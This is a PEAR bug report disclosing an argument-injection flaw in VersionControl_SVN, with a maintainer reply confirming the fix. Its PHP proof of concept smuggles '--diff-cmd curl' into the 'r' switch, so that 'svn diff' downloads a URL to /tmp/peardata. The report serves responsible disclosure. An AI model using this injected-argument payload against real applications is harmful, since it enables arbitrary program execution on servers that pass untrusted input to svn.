Description: ------------ Hi, I have found a smaller security issue in VersionControl_SVN. Data in switches with values isn't quoted sufficiently before it is used for constructing the command line. This can be abused to inject malicious arguments to svn subcommands and execute arbitrary programs. I have included a test script that injects data in the 'r' switch, in such a way that the 'svn diff' command will not diff anything but instead use curl to download data from a specific URL to a specific path. If we imagine that this 'r' switch data is untrusted and comes from a remote user, there might be a problem here. The bug will probably also manifest itself in other places than 'r' and 'diff'. I have also included a patch. It fixes the problem but I haven't tested it a lot so it might break something else. Beware. // Ulf Harnhammar Test script: --------------- <?php require_once 'VersionControl/SVN.php'; $options = array('fetchmode' => VERSIONCONTROL_SVN_FETCHMODE_RAW); // otherwise diff gets confused $svn = VersionControl_SVN::factory(array('checkout', 'diff'), $options); $switches = array(); $args = array('http://plugins.svn.wordpress.org/simple-fields/trunk/'); // just any svn repo $svn->checkout->run($args, $switches); $fp = fopen('trunk/functions.php', 'a'); // change something, so diff/status finds changes fputs($fp, "// unif\n"); fclose($fp); $args2 = array('trunk'); $switches2 = array('r' => '648105 --diff-cmd curl --extensions "http://pear.php.net -o /tmp/peardata"'); // here we're injecting additional parameters to the "svn diff" command // if the value for this 'r' switch comes from an untrusted source, this is a problem $svn->diff->run($args2, $switches2); // it will crash here, but if one looks at /tmp/peardata, one will see that it does contain the data // from pear.php.net Expected result: ---------------- It should check out one repo, add one line of data to a file, and then bug out with an error message saying that the revision number is invalid. Actual result: -------------- It checks out one repo, adds one line of data to a file, tries to perform a "svn diff" but gets sidetracked into downloading pear.php.net to /tmp/peardata instead, after which it crashes.

Added patch secu.patch.

This bug has been fixed in SVN. If this was a documentation problem, the fix will appear on pear.php.net by the end of next Sunday (CET). If this was a problem with the pear.php.net website, the change should be live shortly. Otherwise, the fix will appear in the package's next release. Thank you for the report and for helping us make PEAR better.